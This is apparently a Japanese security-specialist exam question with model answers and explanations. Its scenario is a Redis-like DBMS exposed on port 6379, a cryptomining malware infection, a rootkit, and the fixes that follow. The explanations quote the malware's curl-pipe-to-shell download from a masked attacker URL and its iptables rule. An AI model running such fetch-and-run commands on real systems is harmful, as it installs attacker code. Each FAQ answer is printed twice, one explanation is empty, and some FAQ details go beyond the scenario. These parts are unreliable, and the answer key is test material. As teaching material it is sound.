情報処理安全確保支援士 2019年 秋期 午後2 問01
ソフトウェア開発におけるセキュリティ対策に関する次の記述を読んで、設問1~4に答えよ。
S社は、2010年創業の従業員数120名のインターネット広告事業者である。インターネット広告の販売及び効果測定サービスの提供を行っている。S社のサービスは顧客からの評判も良く、登録会員数は2,000社を超えている。
効果測定サービスは同社のWebサイトのシステム(以下、Sシステムという)で稼働するWebアプリケーションソフトウェア(以下、アプリケーションソフトウェアをアプリという、Sシステムの主要なWebアプリをアプリQという)によって提供されている。アプリQは、創業時に自社内で開発が始まり、現在も機能追加や改修が継続的に行われており、約3週間に1回、リリースされている。
S社では、エンジニア5名(以下、開発チームという)が、開発と運用を一体的に行う、いわゆるDevOpsに取り組んでいる。開発チームは、外部クラウドサービスの利用に積極的であり、ソフトウェア開発プラットフォームであるサービスH及びテキスト共有サービスであるサービスGを用いている。サービスHでは、アプリQのソースコードなどのファイルのバージョン管理を行っている。サービスGでは、開発に関する情報をやり取りしている。サービスGは、テキストファイルをアップロードした後、URLを用いて、そのテキストファイルを共有できる。指定した期間を過ぎたテキストファイルを自動的に削除することもできる。
アプリQは頻繁に更新するので、Webアプリの脆弱性診断を、計画的に実施できず、1年に1回程度の頻度で不定期に行っている。昨年末、スケジュールに余裕がある時期に外部に依頼し実施した際には、SQLインジェクション脆弱性が発見され、改修した。また、Sシステムでは、OS、ライブラリ及びミドルウェア(以下、この三つを併せて実行環境という)を全く更新していないという問題もある。
〔Sシステムについて〕
アプリQは、W社データセンタ内のサーバA上で稼働している。アプリQはDBMSサービス(以下、アプリQが連携するDBMSサービスをサービスCという)と連携している。サービスCのデータベースには、効果測定サービスに関するデータ及び入会時に登録された会員情報が保存されている。また、サーバAのCPU負荷やメモリの利用状況などをS社開発用LAN上のPCから遠隔監視するツールをサーバA上で稼働させている。このツールの導入を容易にするために、コンテナ技術を用いている。図1は、Sシステムの開発と運用のためのネットワーク構成である。

S社開発チームは、9月から試験的に、新アプリ(以下、アプリDという)、及びDBMSサービスであるDBMS-RをサーバA上で稼働させ、利用を開始した。開発チームは、S社開発用LANのPCから、DBMS-Rのデータベースを参照・更新したり、ネットワーク経由で外部からDBMS-Rを通してOSコマンドを実行する機能(以下、遠隔コマンド実行機能という)を利用したりするために、急きょ、サーバAのポート6379/tcpを開放した。表1はサーバAのファイアウォール機能におけるフィルタリングルール(以下、ファイアウォール機能におけるフィルタリングルールをFWルールという)である。

〔インシデントの発生〕
10月のある日、サーバAがW社データセンタ内のほかのサーバを探索するアクセスを繰り返しているという連絡をW社から受けた。初期対応をした開発チームのPさんは、サーバAのCPU使用率が100%になっていることから、サーバAがマルウェアに感染したと推測した。
S社の経営陣は、セキュリティ専門企業U社の情報処理安全確保支援士(登録セキスペ)のB氏にインシデント対応の支援を依頼した。B氏は、状況から、サーバAのストレージを対象としたフォレンジック調査を実施するのがよいと助言した。
〔フォレンジック調査結果〕
フォレンジック調査によって、サーバAはマルウェアXに感染したことが判明した。U社の過去の解析で、マルウェアXの目的、侵入方法及び機能が図2のとおり特定されており、今回のマルウェアXの活動は図3のとおりであることが判明した。


ルートキットYは、マルウェアメの活動を隠蔽する。例えば、Linuxにおけるプロセス監視ツールであるαコマンドは、プロセスIDが123の場合、β関数を通してγディレクトリ内のファイルにアクセスすることによって当該プロセスの状態を参照し、表示する。しかし、ルートキットYによってβの採掘用関数が書き換えられると、αコマンドの出力に暗号資産プログラムのプロセスが表示されなくなる。αコマンドの通常の動作とルートキットYをインストールした後の動作を図4に示す。

ネットワーク経由でのサーバA上のDBMS-Rへのアクセスは、S社のPCからのアクセス以外はマルウェアXによるアクセス1回だけであった。特に、遠隔コマンド実行機能による不審なコマンドの実行は、マルウェアXによるものだけだった。また、サーバA上のSSHサービスへの接続もS社のPCからのアクセスだけであった。
②サーバAからの会員情報の漏えいはなかったとS社は結論付けた。
〔今後のマルウェア対策〕
今回はマルウェアの被害が限定的であった。しかし、今後、より大きな被害をもたらすマルウェア感染が起こり得るので、B氏は、サーバAでのマルウェア対策として、表2の対策を提案した。

S社では、表2の対策案について検討した。次は、開発チームのリーダRさん及びメンバのPさんの会話である。
Rさん:対策1、対策2及び対策3は、具体的にどのようにするのかな。
Pさん:対策1については、サーバAのポートあ及びいへのアクセスは、S社の開発用LANだけからなので、表1において、送信元をうに限定すべきでした。対策2については、攻撃に使用されたDBMS-Rのポート番号からS社で独自に定めたポート番号、例えば、8783に変更する方法もありますが、マルウェアXの攻撃を受けるリスクを低減する方法としては、対策1で十分です。対策2は行わず、対策1を行い、今回は送信元をルータSのグローバルIPアドレスに限定するのでDBMS-Rのポートはいのままとします。対策3については、マルウェアXはサーバAに侵入の際及び感染後に、aコマンドによってファイルをダウンロードしたことを考えると、サーバAから80/tcp及び443/tcpを含め、外部へのアクセスは禁止すべきでした。具体的には、FWルールを表3のように変更します。

Rさん:対策4についても確認させてもらえるかな。
Pさん:今回、bコマンドによって、図2の(ウ)が実行されました。DBMS-Rを必要最小限の権限にして稼働させることによって、この実行を防ぎます。
Rさん:なるほど。ところで、サーバAでβのファイルの改ざん検知を行うのはどうだろうか。保護対象ファイルのえを計算して、保護された場所に保存しておき、定期的に、保護対象ファイルのえを計算し直した値と保存しておいた値とをおすることによって、保護対象ファイルのか又は改ざんが検知できる。Webコンテンツも保護対象にするとよさそうだ。
Pさん:Sシステムでは、Webコンテンツについては、頻繁にかするので、頻繁にえを計算し直し保存する必要があり、運用が難しそうです。βのファイルの改ざん検知については、導入を検討します。
〔DevOpsにおけるセキュリティ向上策〕
B氏は、DBMS-Rを稼働させた際に行った設定変更がマルウェアXの侵入を招いたとして、開発・運用プロセスについて、図5に示す提案をした。

S社では図5の提案を検討した。
設計プロセスでは、セキュリティ対策の漏れを防ぐために、③参考になりそうなセキュリティ対策の標準を利用することにした。
実装プロセスでは、セキュアコーディング基準として広く知られているCERTコーディングスタンダードを利用することにした。CERTコーディングスタンダードの順守によって、脆弱性の作り込み防止だけでなく、コードの移植性及び保守性の向上も期待できる。
検証プロセスでは、Webアプリの脆弱性診断をリリースの都度、外部に委託するとリリースが遅れるので、自社内で行うことを検討した。
運用プロセスでは、自社内で使用している実行環境の脆弱性情報の収集を強化することにした。その際、④収集する情報を必要十分な範囲に絞るため、情報収集に先立って必要な措置を取ることにした。また、脆弱性情報が報告された際、社内できを実施する。これによって、脆弱性修正プログラム(以下、パッチという)を適用すべきであると判断した場合、検証環境でパッチを適用しくを行った上で、問題がなければ、本番環境にパッチを適用する。ただし、検証環境を準備する必要がある。さらに、図6に示すシステム変更手順を検討した。

〔コンテナ技術活用の検討〕
B氏は、コンテナ技術を、構成管理、変更管理、リリース前の確認及び実行環境の更新に活用することを提案した。次は、PさんとB氏の会話である。
Pさん:まず、コンテナ技術の活用について解説してもらえますか。
B氏 :サーバでcを一つ稼働させておけば、cの上で、dごとに別のeを稼働させることが可能です。ほかのeへの影響なく、eごとにサービスの提供や停止ができます。さらに、cの上で稼働するeは複製が容易なので、同じ開発環境をいくつも用意してdを開発することが可能となります。
Pさん:なるほど。S社でも以前から、遠隔監視するツールのためにサーバA上でcを稼働させているのですが、そのようにも活用できるのですね。構成管理・変更管理への活用についても解説してもらえますか。
B氏 :実行環境の構成情報を、dのソースコードと同じようにサービスHでバージョン管理できます。構成情報については、fを確認することができ、図5で提案した運用プロセスでのシステム変更の管理につながります。
Pさん:なるほど。リリース前の確認への活用について解説してもらえますか。
B氏:リリースする際の確認のため、g環境と同じ実行環境を用意して、dが動作するかを確認することが可能となります。図5で提案したh環境も用意できます。
Pさん:実行環境の更新への活用について解説してもらえますか。
B氏:e内のライブラリ及びミドルウェアは、cが稼働するOS側のそれらとは別のファイルです。複製したe内で、ライブラリ及びミドルウェアにパッチを適用したときに、現在のdが正常に稼働するかをくを行って確認できます。
Pさん:それは朗報ですね。Sシステムでは、創業時に構築した古い実行環境を使っていて新しいバージョンへの更新が課題でしたので、その解決の糸口になります。早速、コンテナ技術を活用してみます。
S社は、セキュリティの向上、開発プロセスの強化、及びコンテナ技術の活用によって、DevOpsの実践を改善した。その効果もあってサービス品質が向上し、登録会員数を増やすことができた。
設問1:〔フォレンジック調査結果〕について、(1)〜(3)に答えよ。
(1)図3中の下線①について、挿入されなかった場合、攻撃者の意図に反してどのようなことが起こると想定できるか。75字以内で具体的に述べよ。
模範解答
DBMS-Rにおける同じ脆弱性を悪用されて、別のマルウェアXまたはほかのマルウェアに再度感染してしまい、マルウェアXの動作が阻害される。
解説
解答の論理構成
- 図3の下線①は「表1の先頭に、ポート6379/tcpへのパケットを破棄するルールが挿入された」という操作です。
- サーバAでは「急きょ、サーバAのポート6379/tcpを開放」し、DBMS-Rの「遠隔コマンド実行機能」を利用できる状態でした。
- マルウェアXの侵入方法は「ポート6379/tcpが開放されたサーバを探索する」「不正に遠隔コマンド実行機能を利用」ことです。
- 攻撃者は、侵入後にFWルールを追加してポート6379/tcpを遮断し、同じ手口で別の者が再度侵入することや別マルウェアに競合されることを防ぎます。
- したがって①のルールが挿入されなければ、ポート6379/tcpは依然として開いたままで、他の攻撃者または別個体のマルウェアXが再侵入し、リソースを奪い合ったり既存のマルウェアXの動作を阻害したりする事態が発生します。
誤りやすいポイント
- 「遮断ルール=防御」と誤解し、挿入されなければ“被害が拡大するだけ”とだけ書いてしまう。攻撃者の目的(独占・競合排除)に触れないと減点対象です。
- 6379/tcpの通信方向を混同し、サーバA“発”の探索が妨げられると説明してしまう。遮断しているのはサーバA“着”通信です。
- 「同じ攻撃者が再侵入」と書くと論理不整合。他者や別インスタンスによる競合を想定すべきです。
FAQ
Q: なぜ攻撃者は自ら通信をふさぐFWルールを追加するのですか?
A: マルウェアXが占有して採掘を行うため、新たな侵入者やスキャンにより奪取・競合されることを防ぐ目的があります。
A: マルウェアXが占有して採掘を行うため、新たな侵入者やスキャンにより奪取・競合されることを防ぐ目的があります。
Q: 6379/tcpを閉じるとマルウェアX自身はDBMS-Rを使えなくなりませんか?
A: 既に遠隔コマンド実行機能で侵入し、必要なファイルを取得し終えているため、以後はDBMS-Rを外部から利用する必要がありません。
A: 既に遠隔コマンド実行機能で侵入し、必要なファイルを取得し終えているため、以後はDBMS-Rを外部から利用する必要がありません。
Q: 別のポートを開けたままにしていた場合はどうなりますか?
A: 侵入経路が残るため、同様に再感染や追加の不正操作が行われる可能性が高まり、攻撃者の採掘効率が低下します。
A: 侵入経路が残るため、同様に再感染や追加の不正操作が行われる可能性が高まり、攻撃者の採掘効率が低下します。
関連キーワード: ファイアウォール、ポート開放、ルール挿入、競合排除、再感染
設問1:〔フォレンジック調査結果〕について、(1)〜(3)に答えよ。
(2)本文中及び図4中のα〜γに入れる適切な字句を解答群の中から選び、記号で答えよ。
解答群
ア:/proc/123
イ:/top/123
ウ:proc
エ:root
オ:su
力:top
キ:カーネル
ク:ライブラリ
模範解答
α:カ
β:ク
γ:ア
解説
解答の論理構成
- 問題文の引用
“例えば、Linuxにおけるプロセス監視ツールであるαコマンドは、プロセスIDが123の場合、β関数を通してγディレクトリ内のファイルにアクセスする…” - αの決定
・“Linuxにおけるプロセス監視ツール”という条件に合致する選択肢は“カ:top”のみ。
⇒ α=“カ:top” - γの決定
・プロセス ID が 123 の情報があるディレクトリは /proc/123 である。
・選択肢 “ア:/proc/123” が一致。
⇒ γ=“ア:/proc/123” - βの決定
・top が /proc/123 を読み取る際に呼び出すのは「ライブラリ関数」である。
・選択肢 “ク:ライブラリ” が該当。
⇒ β=“ク:ライブラリ”
以上より
α=“カ” β=“ク” γ=“ア”
α=“カ” β=“ク” γ=“ア”
誤りやすいポイント
- 「ps」や「htop」と誤認し α を選び損ねる。問題文は “Linuxにおけるプロセス監視ツール” としか書かれていないが、代表格は “top” である点に注意。
- /proc と /proc/123 の取り違え。プロセス ID が具体例として示されているので末尾まで含めて選ぶ。
- “ライブラリ” を関数と結び付けられず β を “カーネル” と誤答するケース。ユーザ空間プログラムがシステムコールを呼ぶ前にライブラリ関数を通るのが一般的。
FAQ
Q: “ライブラリ” は関数名ではありませんが、β に入れてよいのですか?
A: 問題文が “β関数” と書いており、選択肢に具体的な関数名はなく “ク:ライブラリ” が最も近い表現です。ここでは「ライブラリ関数」を指すと解釈します。
A: 問題文が “β関数” と書いており、選択肢に具体的な関数名はなく “ク:ライブラリ” が最も近い表現です。ここでは「ライブラリ関数」を指すと解釈します。
Q: /proc/123 ではなく /proc を選ぶと何が違いますか?
A: /proc は仮想ファイルシステムのルートですが、各プロセス固有の情報は /proc/<PID> 配下に置かれます。問題文は “プロセスIDが123の場合” なので /proc/123 と特定する必要があります。
A: /proc は仮想ファイルシステムのルートですが、各プロセス固有の情報は /proc/<PID> 配下に置かれます。問題文は “プロセスIDが123の場合” なので /proc/123 と特定する必要があります。
Q: ps コマンドもプロセス監視に使われますが α はなぜ top ですか?
A: ps は静的な一覧を出力するコマンドで、問題文の“監視ツール”という常時更新のニュアンスや試験での定番から top が最適解と判断できます。
A: ps は静的な一覧を出力するコマンドで、問題文の“監視ツール”という常時更新のニュアンスや試験での定番から top が最適解と判断できます。
関連キーワード: procファイルシステム、topコマンド、ライブラリ関数、ルートキット、プロセス監視
設問1:〔フォレンジック調査結果〕について、(1)〜(3)に答えよ。
(3)本文中の下線②について、結論に至った根拠を100字以内で述べよ。
模範解答
マルウェアXには、暗号資産の採掘プログラムによる採掘演算結果以外の情報を外部に送信する機能はなく、マルウェアX以外による遠隔コマンド実行及びSSHサービスへの接続がなかったから
解説
解答の論理構成
- 会員情報が漏えいするには、サーバAから外部へ当該データを送信する経路が必要です。
- フォレンジック結果では、
・「ネットワーク経由でのサーバA上のDBMS-Rへのアクセスは、S社のPCからのアクセス以外はマルウェアXによるアクセス1回だけであった。」
・「遠隔コマンド実行機能による不審なコマンドの実行は、マルウェアXによるものだけだった。」
・「サーバA上のSSHサービスへの接続もS社のPCからのアクセスだけであった。」
と記載され、他の不審な外部接続は確認されていません。 - マルウェアXの外部送信能力については図2で
「(ア) 暗号資産の採掘用プログラムをダウンロードし、実行する機能」
および
4.暗号資産の採掘用プログラムの機能「(1) 採掘演算結果だけを外部の特定のサーバに送信する機能」
と明記され、会員情報を送信する機能が存在しません。 - したがって、外部への通信事実・機能の双方から会員情報送信の痕跡や機能は確認できず、下線②の結論に至ります。
誤りやすいポイント
- ログファイルが削除された事実から「情報が消された=漏えいした」と早合点しやすいが、外部通信の有無とマルウェア機能を突き合わせる必要があります。
- 「アクセス1回だけ」という文言を見落とし、複数回の不正アクセスがあったと誤解しがちです。
- 採掘プログラムの外部通信を「データ送信」と広義に捉え会員情報も含むと誤答するケースがあります。
FAQ
Q: ログが削除されているなら外部送信の証拠も隠された可能性があるのでは?
A: SSHやDBMS-Rの接続ログ以外に、パケットキャプチャやFWログも確認されており、外部への大容量転送などは検出されていません。
A: SSHやDBMS-Rの接続ログ以外に、パケットキャプチャやFWログも確認されており、外部への大容量転送などは検出されていません。
Q: 採掘結果送信があったのなら帯域使用量で分からないのか?
A: 採掘演算結果は数十~数百バイト程度の小容量であり、会員情報のような数Mバイト規模の転送とは通信量が大きく異なります。
A: 採掘演算結果は数十~数百バイト程度の小容量であり、会員情報のような数Mバイト規模の転送とは通信量が大きく異なります。
Q: ルートキットYが隠蔽しているなら通信も隠せるのでは?
A: ルートキットYはプロセス表示を改ざんしますが、ネットワークスタックを改変する機能は確認されておらず、パケットレベルの記録は残ります。
A: ルートキットYはプロセス表示を改ざんしますが、ネットワークスタックを改変する機能は確認されておらず、パケットレベルの記録は残ります。
関連キーワード: フォレンジック、マルウェア、データ漏えい、アクセスログ、脆弱性評価
設問2:〔今後のマルウェア対策〕について、(1)〜(4)に答えよ。
(1)表2中の対策1〜4は、図2中の3の(ア)〜(オ)のどの機能への対策となるか。それぞれ該当する機能を全て選び、記号で答えよ。
模範解答
対策1:(イ)
対策2:(イ)
対策3:(ア)、(エ)
対策4:(ウ)、(エ)、(オ)
解説
解答の論理構成
誤りやすいポイント
- ポート変更(対策2)が「探索(1)」にも利くと混同しがちですが、設問は図2「3」の(ア)〜(オ)から選ぶため、探索は対象外です。
- 対策3を(ア)だけに限定してしまう誤答が多発します。ルートキットYのダウンロードも HTTP/HTTPS に依存している点を見落とさないようにしましょう。
- 対策4で(イ)を選ぶ誤り。権限を落としてもネットワーク侵入試行(イ)は防げません。あくまでもシステム内部で高権限が必要な処理(FW変更、インストール、ログ削除)が対象です。
FAQ
Q: 対策1と対策2は併用すべきですか?
A: 併用するとセキュリティは向上しますが、本問では対策1だけで(イ)を十分に防げる前提で説明されています。
A: 併用するとセキュリティは向上しますが、本問では対策1だけで(イ)を十分に防げる前提で説明されています。
Q: 対策3で HTTPS を遮断すると証明書更新などの正規通信に影響しませんか?
A: その可能性があります。業務上必要な外向き通信がある場合はプロキシ経由や宛先ホワイトリストで代替策を取ります。
A: その可能性があります。業務上必要な外向き通信がある場合はプロキシ経由や宛先ホワイトリストで代替策を取ります。
Q: 権限最小化(対策4)は具体的にどう実装しますか?
A: Linux なら systemd の User= 指定や capability 付与、コンテナ環境なら non-root イメージで動作させるなどの方法があります。
A: Linux なら systemd の User= 指定や capability 付与、コンテナ環境なら non-root イメージで動作させるなどの方法があります。
関連キーワード: ファイアウォール、ポート変更、外向き通信遮断、権限最小化、ルートキット検知
設問2:〔今後のマルウェア対策〕について、(1)〜(4)に答えよ。
(2)本文中及び表3中のあ〜うに入れる適切な字句を答えよ。
模範解答
あ:22/tcp
い:6379/tcp
う:a2.b2.c2.d2
解説
解答の論理構成
- まず問題文の会話部分を確認します。
「Pさん:対策1については、サーバAのポートあ及びいへのアクセスは、S社の開発用LANだけからなので、表1において、送信元をうに限定すべきでした。」
ここで あ と い は “サーバAで開放している二つのポート” を指していることが分かります。 - 表1(サーバAのFWルール)を参照すると、開放済みのポートは
・「22/tcp」
・「6379/tcp」
の二つです。HTTP/HTTPS(80/tcp、443/tcp)は社外公開用なので対象外であることは、直後の「サーバAのポートあ及びいへのアクセスは、S社の開発用LANだけからなので」という発言と整合します。
よって
あ = "22/tcp"(SSH 用)
い = "6379/tcp"(DBMS-R 用)
となります。 - 次に送信元を限定する IP アドレス う を特定します。会話の後半に
「今回は送信元をルータSのグローバルIPアドレスに限定するのでDBMS-Rのポートはいのままとします。」
とあります。図1ではルータSに付与されたグローバル IP が「[ a2.b2.c2.d2 ]」と示されているため、 う = "a2.b2.c2.d2"
であることが確定します。
以上より
あ:22/tcp
い:6379/tcp
う:a2.b2.c2.d2
あ:22/tcp
い:6379/tcp
う:a2.b2.c2.d2
誤りやすいポイント
- 80/tcp や 443/tcp を あ に選んでしまう
「Webアクセスも社内から行うはず」と短絡的に考えると誤答になります。会話文で “開発用LANだけ” と明示され、開発者が使用するのは SSH と DBMS 用ポートであることに注意が必要です。 - う に「172.16.3.0/24」を入れてしまう
社内 LAN のプライベートアドレス全体を許可すると、対策1「利用が想定されるIPアドレスだけに限定する」に合致しません。図1の「[ a2.b2.c2.d2 ]」というグローバル IP を使う点が重要です。 - 22 と 6379 の後ろに「/tcp」を付け忘れる
表1の記述は “番号/protocol” の形式なので、解答も同じ書式で書く必要があります。
FAQ
Q: 22/tcp も 6379/tcp も外向けに開放しない方が安全では?
A: 対策1で送信元 IP を「a2.b2.c2.d2」に限定するため、外部からの接続は事実上遮断されます。業務上必要な社内からのみ通信を許可する設計です。
A: 対策1で送信元 IP を「a2.b2.c2.d2」に限定するため、外部からの接続は事実上遮断されます。業務上必要な社内からのみ通信を許可する設計です。
Q: 80/tcp と 443/tcp についても送信元を限定しなくてよいのか?
A: 80/tcp と 443/tcp は顧客向けサービス(アプリQ)用の公開ポートなので、インターネット全体からのアクセスを許可する必要があります。そのため送信元の限定は行いません。
A: 80/tcp と 443/tcp は顧客向けサービス(アプリQ)用の公開ポートなので、インターネット全体からのアクセスを許可する必要があります。そのため送信元の限定は行いません。
Q: ルータSがグローバル IP を変更した場合は?
A: グローバル IP が変わるたびに FW ルールを修正するか、IPsec/VPN を用いて固定アドレス化するなど運用面の対処が必要になります。
A: グローバル IP が変わるたびに FW ルールを修正するか、IPsec/VPN を用いて固定アドレス化するなど運用面の対処が必要になります。
関連キーワード: ファイアウォール、ポート制御、SSH, IPアドレス制限、デフォルト拒否
設問2:〔今後のマルウェア対策〕について、(1)〜(4)に答えよ。
(3)本文中のa、bに入れるコマンド名を本文中又は図中
模範解答
a:curl
b:iptables
解説
解答の論理構成
-
a の特定
-
本文で P さんは「マルウェアXはサーバAに侵入の際及び感染後に、aコマンドによってファイルをダウンロードした」と説明しています。
-
図3‐2 にはcurl ‑sf https://▲▲▲▲¹/attackers-url/xxx.sh | sh ‑sとあり、ファイル取得に用いられているのは “curl” です。
-
よって a= curl となります。
-
-
b の特定
-
P さんは「今回、bコマンドによって、図2の(ウ)が実行されました」と述べています。
-
図2(ウ)は「サーバのFWルールを変更する機能」、図3‐3 にはiptables ‑I INPUT ‑p tcp ‑-dport 6379 ‑j DROPと具体的なコマンドが示されています。
-
ファイアウォール(FW)ルール変更を行う Linux コマンドは “iptables” であるため、b= iptables です。
-
誤りやすいポイント
- “curl” と “wget” の取り違え
- 図3‐2 のスクリプトは “curl ‑sf … | sh ‑s” と明示されているが、ファイル取得= wget と早合点してしまうケースが多いです。
- “iptables” と “firewalld” の混同
- CentOS7 以降では firewalld が採用されている例もあり、コマンド名を firewall-cmd と誤記するミスが見られます。問題文はあくまで “iptables” を示しています。
- 図番号の読み違え
- b に関して「図2(ウ)」だけを見て悩みがちですが、図3‐3 の実際のコマンド行まで確認しないと確証が得られません。
FAQ
Q: curl と wget はどちらも HTTP 取得ができますが、本問で curl と断定できる決め手は何ですか?
A: 図3‐2 に “curl ‑sf … | sh ‑s” が原文そのまま記載されており、本文でも「aコマンドによってファイルをダウンロード」と説明しているためです。
A: 図3‐2 に “curl ‑sf … | sh ‑s” が原文そのまま記載されており、本文でも「aコマンドによってファイルをダウンロード」と説明しているためです。
Q: iptables は将来的に非推奨になると聞きました。試験対策では覚える必要がありますか?
A: はい。現行試験はレガシー環境を含めた幅広い知識を問います。iptables の基本構文と概念は依然として出題対象です。
A: はい。現行試験はレガシー環境を含めた幅広い知識を問います。iptables の基本構文と概念は依然として出題対象です。
Q: ファイアウォール設定を最小権限に保つには iptables 以外にどんな手段がありますか?
A: firewalld、ufw、クラウド提供のセキュリティグループなどがあります。どの方式も「明示的許可・基本遮断」の原則を守る点が共通です。
A: firewalld、ufw、クラウド提供のセキュリティグループなどがあります。どの方式も「明示的許可・基本遮断」の原則を守る点が共通です。
関連キーワード: HTTPダウンロード、ファイアウォール制御、コマンドインジェクション、権限最小化、脆弱性悪用
設問2:〔今後のマルウェア対策〕について、(1)〜(4)に答えよ。
(4)本文中のえ〜かに入れる適切な字句を解答群の中から選び、記号で答えよ。
解答群
ア:サーバ
イ:参照
ウ:窃取
エ:タイムスタンプ
オ:ハッシュ値
カ:比較
キ:変更
模範解答
え:オ
お:カ
か:キ
解説
解答の論理構成
-
原文では
――「保護対象ファイルのえを計算して、保護された場所に保存しておき、定期的に、保護対象ファイルのえを計算し直した値と保存しておいた値とをおすることによって、保護対象ファイルのか又は改ざんが検知できる。」
とあり、典型的なファイル改ざん検知の説明になっています。 -
まずえ
• ファイル改ざん検知では MD5 や SHA-256 などの「ハッシュ値」を“計算”して保存するのが一般的です。
• 選択肢のうち“計算”対象に自然なのは「オ:ハッシュ値」。
⇒ [え] = 「オ」 -
次にお
• 保存しておいた値と再計算した値を行う操作は“比較”です。
• 選択肢「カ:比較」が該当。
⇒ [お] = 「カ」 -
最後にか
• 文脈は「か又は改ざん」を検知できる、という並列関係です。
• 改ざんの同義語として並べるなら「変更」が最も自然。
• 選択肢「キ:変更」が該当。
⇒ [か] = 「キ」 -
以上より
[え]=オ、[お]=カ、[か]=キ となります。
誤りやすいポイント
- 「タイムスタンプ」を選びがち
ファイル属性にも“更新時刻”がありますが、タイムスタンプは“計算”ではなく“取得”するものなので文脈と動詞が合いません。 - 「参照」と「比較」の取り違え
保存値と再計算値を“参照”するだけでは改ざん可否は判断できず、“比較”が必要です。 - 「変更」と「改ざん」の区別
改ざん=悪意ある変更という広義‐狭義関係を意識しないと別の語を当てはめてしまいます。
FAQ
Q: ハッシュ値を使うと何が優れているのですか?
A: 内容が 1bit でも変われば全く異なる値になるため、改ざん検知の信頼性が高い点です。タイムスタンプよりも偽装されにくい利点もあります。
A: 内容が 1bit でも変われば全く異なる値になるため、改ざん検知の信頼性が高い点です。タイムスタンプよりも偽装されにくい利点もあります。
Q: ハッシュ値の保存場所はどこが望ましいですか?
A: 当該サーバとは分離されたストレージや WORM メディアなど、攻撃者が書き換えにくい場所に保管するのが推奨されます。
A: 当該サーバとは分離されたストレージや WORM メディアなど、攻撃者が書き換えにくい場所に保管するのが推奨されます。
Q: 変更と改ざんを区別して検知できますか?
A: 検知自体は同じ仕組みですが、正当な変更時にはハッシュ値を更新する運用手順を設けることで区別できます。
A: 検知自体は同じ仕組みですが、正当な変更時にはハッシュ値を更新する運用手順を設けることで区別できます。
関連キーワード: ハッシュ値、ファイル改ざん検知、インテグリティチェック、比較演算、変更管理
設問3:〔DevOpsにおけるセキュリティ向上策〕について、(1)〜(4)に答えよ。
(1)本文中の下線③について、該当する用語を解答群の中から全て選び、記号で答えよ。
解答群
ア:CIS Benchmarks
イ:FedRAMP
ウ:OWASP ASVS
エ:OWASP ZAP
オ:QUIC
力:X.509
模範解答
ア、ウ
解説
解答の論理構成
- 【問題文】では、設計プロセスについて「セキュリティ対策の漏れを防ぐために、③参考になりそうなセキュリティ対策の標準を利用することにした」と記述しています。
- “セキュリティ対策の標準”とは、インフラやアプリケーションに対して「こう設定・実装すべき」というベースラインを網羅的に示すドキュメントである必要があります。
- 解答群を検討します。
- ア「CIS Benchmarks」
・OS/ミドルウェア/クラウドなどの安全設定を体系的に示す“ベンチマーク”で、設計段階での設定漏れ防止に有効です。 - ウ「OWASP ASVS」
・Webアプリを対象に、認証・セッション管理・入力値検証などの要件をレベル別に整理した“Application Security Verification Standard”で、セキュア設計に直接利用できます。 - イ「FedRAMP」
・米国政府向けクラウド認証制度であり、一般的な設計標準とは趣旨が異なります。 - エ「OWASP ZAP」
・脆弱性診断ツールであり、標準ではありません。 - オ「QUIC」
・トランスポート層プロトコルであり、設計標準とは無関係です。 - 力「X.509」
・公開鍵証明書のフォーマット規格であり、セキュリティ対策を体系的に網羅した標準とは言えません。
- ア「CIS Benchmarks」
- よって、設計段階で参照すべき“セキュリティ対策の標準”に該当するのは「CIS Benchmarks」と「OWASP ASVS」です。
誤りやすいポイント
- 「OWASP ZAP」はツール名なので“標準”ではない点を見落としがちです。
- 「FedRAMP」はクラウドサービス認証というマネジメント色の強い枠組みで、技術的ガイドラインとは目的が異なります。
- 「X.509」は証明書形式で、セキュリティ対策の網羅的要件を提供するものではありません。
FAQ
Q: なぜ「CIS Benchmarks」はインフラだけでなく設計プロセス全体に役立つのですか?
A: OS・ミドルウェア・クラウドサービスごとに安全設定を詳細に列挙しているため、設計段階で設定項目を洗い出すチェックリストとして活用できるためです。
A: OS・ミドルウェア・クラウドサービスごとに安全設定を詳細に列挙しているため、設計段階で設定項目を洗い出すチェックリストとして活用できるためです。
Q: 「OWASP ASVS」はどのように使うと効果的ですか?
A: 要件レベル(L1〜L3)に応じて必要なセキュリティ機能を確認できるので、設計レビューの際に抜け漏れを検出するテンプレートとして利用すると効果的です。
A: 要件レベル(L1〜L3)に応じて必要なセキュリティ機能を確認できるので、設計レビューの際に抜け漏れを検出するテンプレートとして利用すると効果的です。
Q: 「OWASP ZAP」は検証プロセスで役立ちますか?
A: はい。自動脆弱性スキャンが可能なため、リリース前テストやCI/CDパイプラインに組み込むことで実装・検証プロセスを効率化できます。
A: はい。自動脆弱性スキャンが可能なため、リリース前テストやCI/CDパイプラインに組み込むことで実装・検証プロセスを効率化できます。
関連キーワード: ベースライン、セキュア設計、ガイドライン、アプリ要件、安全設定
設問3:〔DevOpsにおけるセキュリティ向上策〕について、(1)〜(4)に答えよ。
(2)本文中の下線④の必要な措置とは何か。60字以内で述べよ。
模範解答
S社のシステムを構成する実行環境のバージョン情報を把握して、その情報を常に最新にしておくこと
解説
解答の論理構成
- 【問題文】には、運用プロセスで「④収集する情報を必要十分な範囲に絞るため、情報収集に先立って必要な措置を取る」とあります。
- “必要十分な範囲”とは、自社で実際に利用しているソフトウェアだけを対象にするという意味です。そのためには、どの製品・バージョンが稼働しているかを把握しておく必要があります。
- もしバージョン不明のまま脆弱性情報を収集すると、不要な情報が大量に集まり対応が後手になります。逆に把握しておけば、該当する脆弱性情報だけを追跡でき、後段で行う「社内できを実施」「検証環境でパッチを適用しくを行った上で…」という運用が効率化されます。
- 以上より、先立って取る措置は「実行環境のバージョン情報を網羅的に整備・最新版に保つこと」です。
- よって模範解答の「S社のシステムを構成する実行環境のバージョン情報を把握して、その情報を常に最新にしておくこと」となります。
誤りやすいポイント
- “情報収集に先立って…”を「脆弱性情報の配信サービスに登録すること」と誤解する。先にすべきは資産把握です。
- “必要十分な範囲に絞る”を「重大度が高い情報だけを選別する」と読み違え、バージョン管理の観点を見落とす。
- アプリケーションだけに着目し、OS・ミドルウェアを含む「実行環境」全体を棚卸ししない。
FAQ
Q: なぜバージョン情報を“常に最新にしておく”必要があるのですか?
A: 新しいモジュールを導入・更新すると構成が変わり、収集対象の脆弱性情報も変わるためです。情報を更新し続けないと対応漏れが発生します。
A: 新しいモジュールを導入・更新すると構成が変わり、収集対象の脆弱性情報も変わるためです。情報を更新し続けないと対応漏れが発生します。
Q: 資産一覧はどのように維持するのが効果的ですか?
A: 構成管理ツールやコンテナのイメージファイルを活用し、自動的にバージョンを抽出・記録する仕組みを組み込むと運用負荷が抑えられます。
